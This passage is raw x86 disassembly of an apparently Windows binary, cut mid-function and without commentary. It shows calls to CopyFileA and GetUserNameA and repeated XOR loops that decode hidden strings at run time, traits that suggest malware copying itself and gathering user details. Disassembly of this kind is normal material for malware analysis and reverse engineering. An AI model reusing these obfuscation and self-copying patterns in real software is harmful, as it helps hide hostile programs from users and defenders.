lea eax, [ebp - 0xfc]
push ecx
cmovae eax, dword [ebp - 0xfc]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x78]
call fcn.0048aa20
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x164]
cmp dword [ebp - 0x150], 0x10
mov edx, dword [ebp - 0x68]
cmovae ecx, dword [ebp - 0x164]
mov eax, dword [ebp - 0x64]
sub eax, edx
mov dword [ebp - 0x18], edx
push edi
push ecx
cmp edi, eax
ja 0x41df08
cmp dword [ebp - 0x64], 0x10
lea esi, [ebp - 0x78]
lea eax, [edx + edi]
cmovae esi, dword [ebp - 0x78]
mov dword [ebp - 0x68], eax
lea eax, [esi + edx]
push eax
call fcn.004fcb50
mov eax, dword [ebp - 0x18]
add esp, 0xc
add eax, esi
mov byte [eax + edi], 0
lea eax, [ebp - 0x78]
jmp 0x41df1e
mov byte [ebp - 0x18], 0
lea ecx, [ebp - 0x78]
push dword [ebp - 0x18]
push edi
call fcn.00488e80
mov edi, dword [ebp - 0x154]
mov dword [ebp - 0x1fc], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x20c], xmm0
mov dword [ebp - 0x1f8], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x20c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1fc], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x20c]
push dword [ebp - 0x20]
call fcn.00482d20
mov dword [ebp - 0x98], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xa8], xmm0
mov dword [ebp - 0x94], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xa8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x98], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x1d
mov ecx, dword [ebp - 0x1f8]
cmp ecx, 0x10
jb 0x41dffa
mov edx, dword [ebp - 0x20c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41dff0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f35c
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0x1fc], 0
mov dword [ebp - 0x1f8], 0xf
mov byte [ebp - 0x20c], 0
mov byte [ebp - 4], 0x1e
mov ecx, dword [ebp - 0x64]
cmp ecx, 0x10
jb 0x41e04d
mov edx, dword [ebp - 0x78]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41e043
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f35c
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x64], 0xf
mov byte [ebp - 0x78], 0
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x41e097
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41e08d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f35c
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 0x20
mov ecx, dword [ebp - 0x7c]
cmp ecx, 0x10
jb 0x41e0d2
mov edx, dword [ebp - 0x90]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41e0c8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f35c
push ecx
push edx
call fcn.004fb0f1
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0xa8]
mov ecx, esp
push eax
call fcn.00483010
call fcn.0040da60
add esp, 0x18
test al, al
jne 0x41f095
cmp dword [ebp - 0x94], 0x10
lea ecx, [ebp - 0xa8]
push 0
cmovae ecx, dword [ebp - 0xa8]
lea eax, [ebp - 0x1dc]
cmp dword [ebp - 0x1c8], 0x10
push ecx
cmovae eax, dword [ebp - 0x1dc]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x41f095
push 0x104
lea eax, [ebp - 0x3e0]
mov dword [ebp - 0x18], 0x104
push 0
push eax
call fcn.004fd0d0
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x3e0]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
movaps xmm0, xmmword [0x548970]
xor ecx, ecx
movups xmmword [ebp - 0x122], xmm0
mov dword [ebp - 0x112], 0xbaf5eab8
movaps xmm0, xmmword [0x5480e0]
mov byte [ebp - 0x10e], 0xd3
movups xmmword [ebp - 0x10d], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x122], al
inc ecx
cmp ecx, 0x1b
jb 0x41e190
lea eax, [ebp - 0x122]
mov dword [0x55d618], ecx
push eax
lea ecx, [ebp - 0x278]
mov byte [ebp - 0x107], 0
call fcn.00402ab0
lea ecx, [ebp - 0x278]
mov byte [ebp - 4], 0x21
call fcn.00402b50
movaps xmm0, xmmword [0x546e00]
xor ecx, ecx
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x31], 0xa5
movups xmmword [ebp - 0x30], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x31], al
inc ecx
cmp ecx, 7
jb 0x41e1e3
lea eax, [ebp - 0x31]
mov dword [0x55d560], ecx
push eax
lea ecx, [ebp - 0x260]
mov byte [ebp - 0x2a], 0
call fcn.00402ab0
lea ecx, [ebp - 0x260]
mov byte [ebp - 4], 0x22
call fcn.00402b50
movaps xmm0, xmmword [0x546e10]
xor ecx, ecx
mov dword [ebp - 0xb0], eax
mov byte [ebp - 0x31], 0xa5
movups xmmword [ebp - 0x30], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x31], al
inc ecx
cmp ecx, 7
jb 0x41e230
lea eax, [ebp - 0x31]
mov dword [0x55d560], ecx
push eax
lea ecx, [ebp - 0x14c]
mov byte [ebp - 0x2a], 0
call fcn.00402ab0
mov byte [ebp - 4], 0x23
lea esi, [ebp - 0x14c]
cmp dword [ebp - 0x138], 0x10
lea ecx, [ebp - 0x3e0]
xorps xmm0, xmm0
mov dword [ebp - 0x50], 0
cmovae esi, dword [ebp - 0x14c]
lea edx, [ecx + 1]
movups xmmword [ebp - 0x60], xmm0
mov dword [ebp - 0x4c], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41e290
sub ecx, edx
lea eax, [ebp - 0x3e0]
push ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.00402b80
mov byte [ebp - 4], 0x24
xor ecx, ecx
movaps xmm0, xmmword [0x549940]
movups xmmword [ebp - 0x120], xmm0
mov word [ebp - 0x110], 0xb7b7
movaps xmm0, xmmword [0x546ef0]
mov byte [ebp - 0x10e], 0xff
movups xmmword [ebp - 0x10d], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x120], al
inc ecx
cmp ecx, 0x19
jb 0x41e2e0
mov dword [0x55d638], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x120]
mov byte [ebp - 0x107], 0
movups xmmword [ebp - 0x90], xmm0
mov dword [ebp - 0x80], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x7c], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41e320
sub ecx, edx
lea eax, [ebp - 0x120]
push ecx
push eax
lea ecx, [ebp - 0x90]
call fcn.00402b80
mov byte [ebp - 4], 0x25
lea eax, [ebp - 0x60]
cmp dword [ebp - 0x7c], 0x10
lea edx, [ebp - 0x90]
push eax
cmovae edx, dword [ebp - 0x90]
lea ecx, [ebp - 0x240]
call fcn.00486e40
add esp, 4
push esi
mov ecx, eax
mov byte [ebp - 4], 0x26
call fcn.00482d20
mov dword [ebp - 0x19c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x1ac], xmm0
mov dword [ebp - 0x198], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1ac], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x19c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x27
lea esi, [ebp - 0xa8]
cmp dword [ebp - 0x94], 0x10
mov edx, dword [ebp - 0x19c]
cmovae esi, dword [ebp - 0xa8]
mov eax, dword [ebp - 0x198]
mov ecx, dword [ebp - 0x98]
sub eax, edx
mov dword [ebp - 0xe4], ecx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0xac], edx
push ecx
cmp ecx, eax
ja 0x41e43b
cmp dword [ebp - 0x198], 0x10
lea esi, [ebp - 0x1ac]
push dword [ebp - 0x20]
cmovae esi, dword [ebp - 0x1ac]
lea eax, [edx + ecx]
mov dword [ebp - 0x19c], eax
lea eax, [esi + edx]
push eax
call fcn.004fcb50
mov eax, dword [ebp - 0xe4]
add esp, 0xc
mov ecx, dword [ebp - 0xac]
add eax, esi
mov byte [eax + ecx], 0
lea eax, [ebp - 0x1ac]
jmp 0x41e455
push esi
mov byte [ebp - 0xac], 0
push dword [ebp - 0xac]
push ecx
lea ecx, [ebp - 0x1ac]
call fcn.00488e80
mov dword [ebp - 0x184], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x194], xmm0
mov dword [ebp - 0x180], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x194], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x184], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
push dword [ebp - 0xb0]
lea ecx, [ebp - 0x194]
mov byte [ebp - 4], 0x28
call fcn.00482d20
mov dword [ebp - 0xb8], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xc8], xmm0
mov dword [ebp - 0xb4], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xc8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xb8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x164]
cmp dword [ebp - 0x150], 0x10
mov esi, dword [ebp - 0xb4]
mov eax, esi
cmovae ecx, dword [ebp - 0x164]
mov edx, dword [ebp - 0xb8]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x41e555
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0xb8], eax
lea eax, [ebp - 0xc8]
cmovae eax, dword [ebp - 0xc8]
lea esi, [eax + edx]
push esi
call fcn.004fcb50
add esp, 0xc
mov byte [esi + edi], 0
lea eax, [ebp - 0xc8]
jmp 0x41e574
mov byte [ebp - 0xb0], 0
lea ecx, [ebp - 0xc8]
push dword [ebp - 0xb0]
push edi
call fcn.00488e80
mov edi, dword [ebp - 0x154]
mov dword [ebp - 0x16c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x17c], xmm0
mov dword [ebp - 0x168], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x17c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x16c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x17c]
mov byte [ebp - 4], 0x2a
call fcn.00482d20
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2c0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x2b0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x2c
mov ecx, dword [ebp - 0x168]
cmp ecx, 0x10
jb 0x41e632
mov edx, dword [ebp - 0x17c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41e628
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f361
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0x16c], 0
mov dword [ebp - 0x168], 0xf
mov byte [ebp - 0x17c], 0
mov byte [ebp - 4], 0x2d
mov ecx, dword [ebp - 0xb4]
cmp ecx, 0x10
jb 0x41e68b
mov edx, dword [ebp - 0xc8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41e681
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f361
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0xf
mov byte [ebp - 0xc8], 0
mov byte [ebp - 4], 0x2e
mov ecx, dword [ebp - 0x180]
cmp ecx, 0x10
jb 0x41e6e4
mov edx, dword [ebp - 0x194]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41e6da
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f361
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0x184], 0
mov dword [ebp - 0x180], 0xf
mov byte [ebp - 0x194], 0
mov byte [ebp - 4], 0x2f
mov ecx, dword [ebp - 0x198]
cmp ecx, 0x10
jb 0x41e73d
mov edx, dword [ebp - 0x1ac]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41e733
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f361
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0x19c], 0
mov dword [ebp - 0x198], 0xf
mov byte [ebp - 0x1ac], 0
mov byte [ebp - 4], 0x30
mov ecx, dword [ebp - 0x22c]
cmp ecx, 0x10
jb 0x41e796
mov edx, dword [ebp - 0x240]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41e78c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f361
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0x230], 0
mov dword [ebp - 0x22c], 0xf
mov byte [ebp - 0x240], 0
mov byte [ebp - 4], 0x31
mov ecx, dword [ebp - 0x7c]
cmp ecx, 0x10
jb 0x41e7ec
mov edx, dword [ebp - 0x90]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41e7e2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f361
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 0x32
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x41e824
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41e81a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f361
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0xf
mov byte [ebp - 0x60], 0
mov byte [ebp - 4], 0x33
mov ecx, dword [ebp - 0x138]
cmp ecx, 0x10
jb 0x41e874
mov edx, dword [ebp - 0x14c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41e86a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f361
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 0x34
mov ecx, dword [ebp - 0x24c]
cmp ecx, 0x10
jb 0x41e8b2
mov edx, dword [ebp - 0x260]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41e8a8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f361
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0x250], 0
mov dword [ebp - 0x24c], 0xf
mov byte [ebp - 0x260], 0
mov byte [ebp - 4], 0x35
mov ecx, dword [ebp - 0x264]
cmp ecx, 0x10
jb 0x41e90b
mov edx, dword [ebp - 0x278]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41e901
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f361
push ecx
push edx
call fcn.004fb0f1
add esp, 8
cmp dword [ebp - 0x2ac], 0x10
lea edx, [ebp - 0x2c0]
xorps xmm0, xmm0
mov dword [ebp - 0x268], 0
cmovae edx, dword [ebp - 0x2c0]
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x264], 0xf
mov ecx, edx
mov byte [ebp - 0x278], 0
movups xmmword [esi], xmm0
lea eax, [ecx + 1]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [ebp - 0x14], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41e960
sub ecx, dword [ebp - 0x14]
push ecx
push edx
mov ecx, esi
call fcn.00402b80
xor cl, cl
call fcn.0041c700
movaps xmm0, xmmword [0x549340]
add esp, 0x18
movups xmmword [ebp - 0x46], xmm0
xor ecx, ecx
mov dword [ebp - 0x36], 0xf6ebb7b7
movaps xmm0, xmmword [0x548170]
mov word [ebp - 0x32], 0xd4bb
movups xmmword [ebp - 0x30], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x46], al
inc ecx
cmp ecx, 0x1c
jb 0x41e9a2
mov dword [0x55d5f4], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x46]
mov byte [ebp - 0x2a], 0
movups xmmword [ebp - 0x14c], xmm0
mov dword [ebp - 0x13c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x138], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41e9e0
sub ecx, edx
lea eax, [ebp - 0x46]
push ecx
push eax
lea ecx, [ebp - 0x14c]
call fcn.00402b80
mov byte [ebp - 4], 0x36
lea eax, [ebp - 0x14c]
cmp dword [ebp - 0x138], 0x10
movaps xmm0, xmmword [0x546e00]
cmovae eax, dword [ebp - 0x14c]
xor ecx, ecx
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x31], 0xa5
movups xmmword [ebp - 0x30], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x31], al
inc ecx
cmp ecx, 7
jb 0x41ea25
mov dword [0x55d560], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x31]
mov byte [ebp - 0x2a], 0
movups xmmword [ebp - 0x17c], xmm0
mov dword [ebp - 0x16c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x168], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41ea61
sub ecx, edx
lea eax, [ebp - 0x31]
push ecx
push eax
lea ecx, [ebp - 0x17c]
call fcn.00402b80
mov byte [ebp - 4], 0x37
lea eax, [ebp - 0x17c]
cmp dword [ebp - 0x168], 0x10
movaps xmm0, xmmword [0x546e10]
cmovae eax, dword [ebp - 0x17c]
xor ecx, ecx
mov dword [ebp - 0xe4], eax
mov byte [ebp - 0x31], 0xa5
movups xmmword [ebp - 0x30], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x31], al
inc ecx
cmp ecx, 7
jb 0x41eab0
mov dword [0x55d560], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x31]
mov byte [ebp - 0x2a], 0
movups xmmword [ebp - 0x194], xmm0
mov dword [ebp - 0x184], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x180], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41eaf0
sub ecx, edx
lea eax, [ebp - 0x31]
push ecx
push eax
lea ecx, [ebp - 0x194]
call fcn.00402b80
mov byte [ebp - 4], 0x38
lea esi, [ebp - 0x194]
cmp dword [ebp - 0x180], 0x10
lea ecx, [ebp - 0x3e0]
xorps xmm0, xmm0
mov dword [ebp - 0x298], 0
cmovae esi, dword [ebp - 0x194]
lea edx, [ecx + 1]
movups xmmword [ebp - 0x2a8], xmm0
mov dword [ebp - 0x294], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41eb48
sub ecx, edx
lea eax, [ebp - 0x3e0]
push ecx
push eax
lea ecx, [ebp - 0x2a8]
call fcn.00402b80
mov byte [ebp - 4], 0x39
xor ecx, ecx
movaps xmm0, xmmword [0x549940]
movups xmmword [ebp - 0x248], xmm0
mov word [ebp - 0x238], 0xb7b7
movaps xmm0, xmmword [0x546ef0]
mov byte [ebp - 0x236], 0xff
movups xmmword [ebp - 0x235], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x248], al
inc ecx
cmp ecx, 0x19
jb 0x41eba0
mov dword [0x55d638], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x248]
mov byte [ebp - 0x22f], 0
movups xmmword [ebp - 0x60], xmm0
mov dword [ebp - 0x50], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x4c], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41ebe0
sub ecx, edx
lea eax, [ebp - 0x248]
push ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.00402b80
mov byte [ebp - 4], 0x3a
lea eax, [ebp - 0x2a8]
cmp dword [ebp - 0x4c], 0x10
lea edx, [ebp - 0x60]
push eax
cmovae edx, dword [ebp - 0x60]
lea ecx, [ebp - 0x118]
call fcn.00486e40
add esp, 4
push esi
mov ecx, eax
mov byte [ebp - 4], 0x3b
call fcn.00482d20
mov dword [ebp - 0xd0], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xe0], xmm0
mov dword [ebp - 0xcc], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xe0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xd0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x3c
lea esi, [ebp - 0xa8]
cmp dword [ebp - 0x94], 0x10
mov edx, dword [ebp - 0xd0]
cmovae esi, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 0x98]
sub eax, edx
mov dword [ebp - 0xb0], ecx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0xac], edx
push ecx
cmp ecx, eax
ja 0x41ecf5
cmp dword [ebp - 0xcc], 0x10
lea esi, [ebp - 0xe0]
push dword [ebp - 0x14]
cmovae esi, dword [ebp - 0xe0]
lea eax, [ecx + edx]
mov dword [ebp - 0xd0], eax
lea eax, [esi + edx]
push eax
call fcn.004fcb50
mov eax, dword [ebp - 0xb0]
add esp, 0xc
mov ecx, dword [ebp - 0xac]
add eax, esi
mov byte [eax + ecx], 0
lea eax, [ebp - 0xe0]
jmp 0x41ed09
push esi
mov byte [ebp - 0x14], 0
push dword [ebp - 0x14]
push ecx
lea ecx, [ebp - 0xe0]
call fcn.00488e80
mov dword [ebp - 0x80], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x90], xmm0
mov dword [ebp - 0x7c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x90], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x80], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
push dword [ebp - 0xe4]
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], 0x3d
call fcn.00482d20
mov dword [ebp - 0x1b4], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x1c4], xmm0
mov dword [ebp - 0x1b0], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1c4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1b4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x3e
lea ecx, [ebp - 0x164]
cmp dword [ebp - 0x150], 0x10
mov edx, dword [ebp - 0x1b4]
cmovae ecx, dword [ebp - 0x164]
mov eax, dword [ebp - 0x1b0]
sub eax, edx
mov dword [ebp - 0x14], edx
push edi
push ecx
cmp edi, eax
ja 0x41ee0a
cmp dword [ebp - 0x1b0], 0x10
lea esi, [ebp - 0x1c4]
lea eax, [edi + edx]
cmovae esi, dword [ebp - 0x1c4]
mov dword [ebp - 0x1b4], eax
lea eax, [esi + edx]
push eax
call fcn.004fcb50
mov eax, dword [ebp - 0x14]
add esp, 0xc
add eax, esi
mov byte [eax + edi], 0
lea eax, [ebp - 0x1c4]
jmp 0x41ee1d
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0x1c4]
push dword [ebp - 0x14]
push edi
call fcn.00488e80
mov dword [ebp - 0x214], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x224], xmm0
mov dword [ebp - 0x210], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x224], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x214], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x3f
lea ecx, [ebp - 0x224]
push dword [ebp - 0x20]
call fcn.00482d20
mov dword [ebp - 0x280], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x290], xmm0
mov dword [ebp - 0x27c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x290], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x280], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x41
mov ecx, dword [ebp - 0x210]
cmp ecx, 0x10
jb 0x41eef9
mov edx, dword [ebp - 0x224]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41eeef
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f366
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0x214], 0
mov dword [ebp - 0x210], 0xf
mov byte [ebp - 0x224], 0
mov byte [ebp - 4], 0x42
mov ecx, dword [ebp - 0x1b0]
cmp ecx, 0x10
jb 0x41ef52
mov edx, dword [ebp - 0x1c4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41ef48
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f366
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0x1b4], 0
mov dword [ebp - 0x1b0], 0xf
mov byte [ebp - 0x1c4], 0
mov byte [ebp - 4], 0x43
mov ecx, dword [ebp - 0x7c]
cmp ecx, 0x10
jb 0x41efa8
mov edx, dword [ebp - 0x90]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41ef9e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f366
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x7c], 0xf
mov byte [ebp - 0x90], 0
mov byte [ebp - 4], 0x44
mov ecx, dword [ebp - 0xcc]
cmp ecx, 0x10
jb 0x41effb
mov edx, dword [ebp - 0xe0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41eff1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f366
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0xd0], 0
mov dword [ebp - 0xcc], 0xf
mov byte [ebp - 0xe0], 0
lea ecx, [ebp - 0x118]
call fcn.00402a10
lea ecx, [ebp - 0x60]
call fcn.00402a10
lea ecx, [ebp - 0x2a8]
call fcn.00402a10
lea ecx, [ebp - 0x194]
call fcn.00402a10
lea ecx, [ebp - 0x17c]
call fcn.00402a10
lea ecx, [ebp - 0x14c]
mov byte [ebp - 4], 0x4a
call fcn.00402a10
sub esp, 0x18
lea ecx, [ebp - 0x290]
mov esi, esp
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00402ab0
xor cl, cl
call fcn.0041c700
add esp, 0x18
lea ecx, [ebp - 0x290]
call fcn.00402a10
lea ecx, [ebp - 0x2c0]
mov byte [ebp - 4], 0x20
call fcn.00402a10
sub esp, 0x18
lea eax, [ebp - 0xa8]
mov ecx, esp
push eax
call fcn.00483010
call fcn.0040da60
add esp, 0x18
test al, al
je 0x41f188
cmp dword [ebp - 0x94], 0x10
lea esi, [ebp - 0xa8]
xorps xmm0, xmm0
mov dword [ebp - 0x2e], 0xe4ecf8e8
cmovae esi, dword [ebp - 0xa8]
xor ecx, ecx
movq qword [ebp - 0x2a], xmm0
mov word [ebp - 0x22], 0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x2e], al
inc ecx
cmp ecx, 4
jb 0x41f0e1
mov dword [0x55d5d8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x2e]
mov byte [ebp - 0x2a], 0
movups xmmword [ebp - 0x90], xmm0
mov dword [ebp - 0x80], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x7c], 0
mov al, byte [ecx]
inc ecx
test al, al
